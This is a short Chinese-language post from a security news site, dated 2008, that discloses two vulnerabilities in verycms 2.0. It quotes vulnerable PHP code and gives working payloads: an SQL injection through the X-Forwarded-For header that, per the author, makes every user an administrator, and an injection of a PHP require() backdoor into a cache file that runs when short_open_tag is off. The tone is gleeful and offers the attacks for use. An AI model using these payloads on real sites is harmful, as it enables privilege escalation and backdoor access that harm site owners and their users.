热门关键字:  2007  下载  web  Windows XP  Windows+XP
当前位置 :| 首页 >>安全预警 >>脚本漏洞 >>

verycms2.0管理员权限提升漏洞

来源:yeskhack 作者: 时间:2008-04-04 点击:

code:
passport_client.php
function Loginipwrite($winduid){
global $db,$timestamp,$onlineip;

$logininfo="$onlineip|$timestamp|6";
$db->update(
"UPDATE pw_user SET lastvisit=thisvisit,thisvisit=''$timestamp'',onlineip=''$logininfo'' WHERE uid=''$winduid''");
}
再看$onlineip是怎么来的
Global.php
if($_SERVER[''HTTP_CLIENT_IP'']){
     $onlineip=$_SERVER[''HTTP_CLIENT_IP''];
}elseif($_SERVER[''HTTP_X_FORWARDED_FOR'']){
     $onlineip=$_SERVER[''HTTP_X_FORWARDED_FOR''];
}else{
     $onlineip=$_SERVER[''REMOTE_ADDR''];
}
$onlineip =substrs($onlineip,16);
十六个字节,够提升权限的了吧?

抓包提交
HTTP_X_FORWARDED_FOR: '',groupid=3,/*
嘎嘎,每个人都成了管理员鸟

另外还有一点非常非常鸡肋的问题,在php.ini中若short_open_tag = off时可以得到shell
看 register.php中的一段代码
if($rg_allowsameip){
    if(file_exists(D_P.'data/cache/ip_cache.php')){
      writeover(D_P.'data/cache/ip_cache.php',"<$onlineip>","ab");
    }else{
      writeover(D_P.'data/cache/ip_cache.php',"<?die;?><$onlineip>");
    }
  }

我们注册的时候抓包提交 HTTP_X_FORWARDED_FOR 为 ?require($a);?
data/cache/ip_cache.php就变成了这样的形式
<?die;?>
……
<?require($a);?>
在php.ini中若short_open_tag = off, die() 就可以被饶过,从而执行我们的后门


上一篇:一次曲折的RedHat Linux操作系统入侵   下一篇:360安全卫士 千千静听上演“漏洞门”纷争
赞助商链接